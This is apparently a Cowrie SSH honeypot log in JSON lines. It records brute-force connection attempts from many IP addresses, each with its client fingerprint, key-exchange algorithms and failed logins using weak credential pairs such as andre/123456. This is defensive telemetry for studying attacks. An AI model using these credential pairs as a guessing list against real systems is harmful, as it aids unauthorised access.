{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:11.310472Z","src_ip":"40.81.244.142","session":"872208323cb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox123!","message":"login attempt [fox/fox123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:12.153771Z","src_ip":"40.81.244.142","session":"872208323cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:13.358833Z","src_ip":"40.81.244.142","session":"872208323cb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":43980,"dst_ip":"159.203.135.109","dst_port":22,"session":"52779d685f76","protocol":"ssh","message":"New connection: 135.181.101.111:43980 (159.203.135.109:22) [session: 52779d685f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:10.992471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:10.996673Z","src_ip":"135.181.101.111","session":"52779d685f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:11.104433Z","src_ip":"135.181.101.111","session":"52779d685f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"12345678","message":"login attempt [ftpuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:11.322767Z","src_ip":"135.181.101.111","session":"52779d685f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:12.433635Z","src_ip":"135.181.101.111","session":"52779d685f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":59392,"dst_ip":"159.203.135.109","dst_port":22,"session":"f02c7d10c483","protocol":"ssh","message":"New connection: 159.223.94.92:59392 (159.203.135.109:22) [session: f02c7d10c483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:14.941235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:14.946214Z","src_ip":"159.223.94.92","session":"f02c7d10c483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:15.192200Z","src_ip":"159.223.94.92","session":"f02c7d10c483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"12345","message":"login attempt [mostafa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:16.205645Z","src_ip":"159.223.94.92","session":"f02c7d10c483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":35352,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9855b933feb","protocol":"ssh","message":"New connection: 64.227.144.233:35352 (159.203.135.109:22) [session: b9855b933feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:16.426250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:16.430824Z","src_ip":"64.227.144.233","session":"b9855b933feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:16.660839Z","src_ip":"64.227.144.233","session":"b9855b933feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"batman","password":"batman","message":"login attempt [batman/batman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:17.122191Z","src_ip":"64.227.144.233","session":"b9855b933feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:17.454035Z","src_ip":"159.223.94.92","session":"f02c7d10c483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:18.354030Z","src_ip":"64.227.144.233","session":"b9855b933feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":40980,"dst_ip":"159.203.135.109","dst_port":22,"session":"408d2e623488","protocol":"ssh","message":"New connection: 20.244.95.173:40980 (159.203.135.109:22) [session: 408d2e623488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:23.056222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:23.059958Z","src_ip":"20.244.95.173","session":"408d2e623488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:23.265070Z","src_ip":"20.244.95.173","session":"408d2e623488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tamara","password":"123456","message":"login attempt [tamara/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:23.683588Z","src_ip":"20.244.95.173","session":"408d2e623488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:24.892058Z","src_ip":"20.244.95.173","session":"408d2e623488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":56388,"dst_ip":"159.203.135.109","dst_port":22,"session":"001203de79d8","protocol":"ssh","message":"New connection: 45.78.207.244:56388 (159.203.135.109:22) [session: 001203de79d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:34.941983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:34.947576Z","src_ip":"45.78.207.244","session":"001203de79d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:35.182647Z","src_ip":"45.78.207.244","session":"001203de79d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"news","password":"1234","message":"login attempt [news/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:36.154137Z","src_ip":"45.78.207.244","session":"001203de79d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:38.421862Z","src_ip":"45.78.207.244","session":"001203de79d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":36670,"dst_ip":"159.203.135.109","dst_port":22,"session":"de3a7914ec2f","protocol":"ssh","message":"New connection: 131.161.249.165:36670 (159.203.135.109:22) [session: de3a7914ec2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:40.220927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:40.224743Z","src_ip":"131.161.249.165","session":"de3a7914ec2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:40.347800Z","src_ip":"131.161.249.165","session":"de3a7914ec2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"123456","message":"login attempt [andre/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:40.873834Z","src_ip":"131.161.249.165","session":"de3a7914ec2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:41.999079Z","src_ip":"131.161.249.165","session":"de3a7914ec2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":47230,"dst_ip":"159.203.135.109","dst_port":22,"session":"2570aacff627","protocol":"ssh","message":"New connection: 210.79.190.22:47230 (159.203.135.109:22) [session: 2570aacff627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:50.473035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:50.476457Z","src_ip":"210.79.190.22","session":"2570aacff627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:50.723305Z","src_ip":"210.79.190.22","session":"2570aacff627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"123456","message":"login attempt [andre/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:51.756604Z","src_ip":"210.79.190.22","session":"2570aacff627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":29588,"dst_ip":"159.203.135.109","dst_port":22,"session":"88182f5138d5","protocol":"ssh","message":"New connection: 185.158.23.150:29588 (159.203.135.109:22) [session: 88182f5138d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:51.779245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:51.783205Z","src_ip":"185.158.23.150","session":"88182f5138d5","protocol":"ssh"}
